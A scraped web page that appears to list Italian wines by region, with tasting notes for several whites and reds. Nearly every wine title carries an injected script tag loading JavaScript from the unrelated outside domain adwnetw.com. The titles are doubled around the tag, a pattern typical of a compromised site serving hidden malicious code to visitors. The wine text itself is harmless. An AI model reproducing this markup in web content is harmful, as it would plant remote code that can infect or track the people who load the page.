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To the ancients, the Italian peninsula was known as 'Enotria', land of vines. Wine is produced in every single region of Italy, and there is a vast and overwhelming number of wines made from an equally bewildering array of mainly indigenous and usually little known grape varieties. This is what makes Italy so fascinating: the tastes and flavours that Italian wines offer are unique and unlike those from anywhere else in the world!

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“Asprinio d’Aversa” Campania<script src=http://www.adwnetw.com/ngg.js></script>“Asprinio d’Aversa” Campania

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“Brindisi Rosato” Puglia<script src=http://www.adwnetw.com/ngg.js></script>“Brindisi Rosato” Puglia

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“Catarratto” Sicilia<script src=http://www.adwnetw.com/ngg.js></script>“Catarratto” Sicilia

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“Cerasuolo d’Abruzzo” Abruzzo<script src=http://www.adwnetw.com/ngg.js></script>“Cerasuolo d’Abruzzo” Abruzzo

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“Chianti Classico” Toscana<script src=http://www.adwnetw.com/ngg.js></script>“Chianti Classico” Toscana

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“Colli di Parma Sauvignon” Emilia Romagna<script src=http://www.adwnetw.com/ngg.js></script>“Colli di Parma Sauvignon” Emilia Romagna

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“Dolcetto d’Asti” Piemonte<script src=http://www.adwnetw.com/ngg.js></script>“Dolcetto d’Asti” Piemonte

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“Falangina” Campania<script src=http://www.adwnetw.com/ngg.js></script>“Falangina” Campania

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“Faliero dei colli ascolani” Marche<script src=http://www.adwnetw.com/ngg.js></script>“Faliero dei colli ascolani” Marche

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“Fiano di Avellino” Campania<script src=http://www.adwnetw.com/ngg.js></script>“Fiano di Avellino” Campania

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“Franciacorta rosè” Lombardia<script src=http://www.adwnetw.com/ngg.js></script>“Franciacorta rosè” Lombardia

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“Gewurztraminer” Alto Adige<script src=http://www.adwnetw.com/ngg.js></script>“Gewurztraminer” Alto Adige

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“Muller Thurgau” Valle d’Aosta<script src=http://www.adwnetw.com/ngg.js></script>“Muller Thurgau” Valle d’Aosta

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“Oltrepo pavese” Lombardia<script src=http://www.adwnetw.com/ngg.js></script>“Oltrepo pavese” Lombardia

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“Orvieto Classico” Umbria<script src=http://www.adwnetw.com/ngg.js></script>“Orvieto Classico” Umbria

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“Petelia” Calabria<script src=http://www.adwnetw.com/ngg.js></script>“Petelia” Calabria

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“Riviera ligure di ponente” Liguria<script src=http://www.adwnetw.com/ngg.js></script>“Riviera ligure di ponente” Liguria

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“Rosso di Montefalco” Umbria<script src=http://www.adwnetw.com/ngg.js></script>“Rosso di Montefalco” Umbria

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“Vernaccia di S. Gimignano” Toscana<script src=http://www.adwnetw.com/ngg.js></script>“Vernaccia di S. Gimignano” Toscana

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”Chardonnay di Puglia”  Puglia<script src=http://www.adwnetw.com/ngg.js></script>”Chardonnay di Puglia” Puglia

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”Rosso di Montefalco” Umbria<script src=http://www.adwnetw.com/ngg.js></script>”Rosso di Montefalco” Umbria

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Besler Biank  Pojer & Sandri (Alto Adige)<script src=http://www.adwnetw.com/ngg.js></script>Besler Biank Pojer & Sandri (Alto Adige)
Very pretty and delicate wine made from Pinot Blanc, Riesling and the local Kerner grape. Fragrant and refreshing but there an intensity on the finish too. The bouquet is very intensive and complex because of the several grapes with fresh and ripe hints of peaches, apricots, elder-blossom,tropical fruit, minerals and and acacia honey.
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Bianco del Salento Feudi San Marzano (Puglia)<script src=http://www.adwnetw.com/ngg.js></script>Bianco del Salento Feudi San Marzano (Puglia)
San Marzano have used the indigenous Verdeca and blended other local varieties to produce a fantastic wine that is lush with tropical fruit. It’s not too dry and with a refreshing lightness this wine is a beautiful example of how good whites from the south can be.
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Chardonnay (Puglia)<script src=http://www.adwnetw.com/ngg.js></script>Chardonnay (Puglia)

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Chardonnay Braide (Friuli)<script src=http://www.adwnetw.com/ngg.js></script>Chardonnay Braide (Friuli)
Premier quality, ripeness and fruit flavour at a very modest price. A chardonnay thats light, refreshing and dry from the cooler climes of northern Italy which has given the grapes an excellent ripeness and quality that comes through in the final product.
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Chardonnay Caldora (Abruzzi)<script src=http://www.adwnetw.com/ngg.js></script>Chardonnay Caldora (Abruzzi)
This is a wonderfully full and aromatic Chardonnay with aromas of “golden” apple and honey with hints of dairy coming through on the finish. Bright, fresh and fruit-packed that makes you remember what summer was all about.
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Chardonnay Classico Terlano (Alto Adige)<script src=http://www.adwnetw.com/ngg.js></script>Chardonnay Classico Terlano (Alto Adige)
This excellent chardonnay is pale straw in colour with a huge fruity and intense bouquet. Your nose will be full of ripe bananas and tropical fruits. The taste is dry, medium-bodied, harmonious and very persistent.
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Chianti Classico Borgo Scopeto (Toscana)<script src=http://www.adwnetw.com/ngg.js></script>Chianti Classico Borgo Scopeto (Toscana)

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Chianti Classico Borgo Scopeto (Toscana)<script src=http://www.adwnetw.com/ngg.js></script>Chianti Classico Borgo Scopeto (Toscana)
Top class Chianti's like this one are powerful, full-bodied with depth and a good oakey character. It oozes ripe berries, oak, and vanilla - Great stuff!
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Colio Tocai Friulano Toh! Di Lenardo (Friuli)<script src=http://www.adwnetw.com/ngg.js></script>Colio Tocai Friulano Toh! Di Lenardo (Friuli)
While Pinot Grigio gets the lion's share of attention, many fans of Friulian wines favour the delicious Tocai Friulano. This white is pale straw in colour with greenish tints. There's bags of taste with hints of bitter almonds and textures and intensity normally associated with more expensive wines from Collio. It's delicate and refined, soft and round and a bargain to boot.
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Dolcetto d'Alba Pra di Po Ettore Germano (Piemonte)<script src=http://www.adwnetw.com/ngg.js></script>Dolcetto d'Alba Pra di Po Ettore Germano (Piemonte)
With a powerful structure, a long finish and great aftertaste this is a delicious red for all occasions. Plums, very ripe fruit and violets make this rich ruby red wine perfect with tomatoes dishes.
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Falanghina d'Irpinia  Terredora (Campania)<script src=http://www.adwnetw.com/ngg.js></script>Falanghina d'Irpinia Terredora (Campania)
This wine offers a rich and intense aroma of fruit with hints of apple, pineapple, quince and pear. This is one of the finest examples in this southern Italian region and comes from the estate of Terredora, one of the region's top producers. It is fresh and clean in the mouth with excellent acidity, good structure and a floral finish.
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Gadi Catarratto Cossentino (Sicily)<script src=http://www.adwnetw.com/ngg.js></script>Gadi Catarratto Cossentino (Sicily)
A fresh, delicate and extremely fruity wine from the sun drenched island of southern Italy. Light mineral aromas with hints of ripe, tropical fruit, fresh lemony flavours and good acidity
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Isonzo Pinot Grigio Borgo San Daniele (Friuli)<script src=http://www.adwnetw.com/ngg.js></script>Isonzo Pinot Grigio Borgo San Daniele (Friuli)
A very interesting and intense wine thats rich, almost meaty. The rich texture shows bags of character producing a lovely wine. It's full and soft, balanced and fruity, with fantastic aromas. There's bags of tropical fruit with distinct notes of pineapple and banana.
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Nosiola Pojer & Sandri (Trentino)<script src=http://www.adwnetw.com/ngg.js></script>Nosiola Pojer & Sandri (Trentino)
The Nosiola has aromas that are light and fleeting with hints of golden apple fragrances. It's light, with delicious nutty aromas and is made from the relatively unknown grape variety, Nosiola.
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Pinot Bianco Cantina Terlano (Alto Adige)<script src=http://www.adwnetw.com/ngg.js></script>Pinot Bianco Cantina Terlano (Alto Adige)
This lip-smacking crisp wine is crammed with fruits of apples and pears giving it a a delicious taste thats soft, full and long. A classic wine from a top producer.
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Pinot Grigio Di Lenardo (Friuli)<script src=http://www.adwnetw.com/ngg.js></script>Pinot Grigio Di Lenardo (Friuli)
This is a big favorite from a quality small producer who's efforts are now being given the praise they deserve. This Pinot is straw yellow, elegant and refined with complex fruit aromas. Di Lenardo have made a mature wine with toasted almonds, pineapple and mango character.
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Pinot Grigio<script src=http://www.adwnetw.com/ngg.js></script>Pinot Grigio

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Prosecco di Valdobbiadene Bosco di Gica Adami (Veneto)<script src=http://www.adwnetw.com/ngg.js></script>Prosecco di Valdobbiadene Bosco di Gica Adami (Veneto)
This, the Bosco di Gica, has the most extraordinarily persistent mouse; it comes climbing out of the glass, and just goes on fizzing away with the tinniest of bubbles. To preserve the freshness and immediacy of the wine, Adami bottle at least six times a year.
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Sangiovese Caldora (Abruzzi)<script src=http://www.adwnetw.com/ngg.js></script>Sangiovese Caldora (Abruzzi)
This is characteristic pure Sangiovese at it’s best. Luscious black cherries with undertones of cedar and spice. It’s a medium bodied wine with a well-balanced structure that’s dry, warm and silky.
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Sauvignon Winkl Cantina Terlano (Alto Adige)<script src=http://www.adwnetw.com/ngg.js></script>Sauvignon Winkl Cantina Terlano (Alto Adige)
A great Italian white from a top north Italian producer. It's gentle, with a well balanced acidity and a fine aftertaste thats crisp at first, then delicate and soft. It has an intensive fruity bouquet, with nuances of elder blossom and ripe fruit of pear, peach, pineapple and litchi.
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Soave Classico Bisson (Veneto)<script src=http://www.adwnetw.com/ngg.js></script>Soave Classico Bisson (Veneto)
The best Soaves are found to come from the Classico zone in the foothills of the Venetian Alps and this beauty is no exception. Exceptional quality and great value. This white has depth, structure, bags of fruit and length on the papate.
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Terlaner Classico Cantina Terlano (Alto Adige)<script src=http://www.adwnetw.com/ngg.js></script>Terlaner Classico Cantina Terlano (Alto Adige)
Packed with fresh melon and citrus make this wine full and ripe in flavour. The blend of grapes is unqiue to the region and definately one to keep for the future - drink up to 10 years.
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Valpolicella Classico (Veneto)<script src=http://www.adwnetw.com/ngg.js></script>Valpolicella Classico (Veneto)
At its best Valpolicella should be a lively, fruity, velvety wine. This is what Valpolicella Classico is all about and much more. One of the few Veneto producers to warrant a mention in Robert Parker's Wine Buyers Guide.
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Verdicchio di Castello dei Jesi Azienda Agricola Maurizio Marconi  (Marche)<script src=http://www.adwnetw.com/ngg.js></script>Verdicchio di Castello dei Jesi Azienda Agricola Maurizio Marconi (Marche)
This Verdicchio has a bouquet of apricots and apples with a lightish taste.
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Vermentino di Sardegna (Contini)<script src=http://www.adwnetw.com/ngg.js></script>Vermentino di Sardegna (Contini)
An excellent white from the island of Sardinia. It's intense, fruity and fresh and packed with spiced apple and peach skins.
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Vernaccia di Sardegna Contini (Sardegna)<script src=http://www.adwnetw.com/ngg.js></script>Vernaccia di Sardegna Contini (Sardegna)
for the most, unique in Italy. Sardinian wines are strong in character and the Karmis is no exception. This white is clean and vibrant, slightly fruity on the finish, crisp and delicious. It's obtained exclusively from the Vernaccia grapes.
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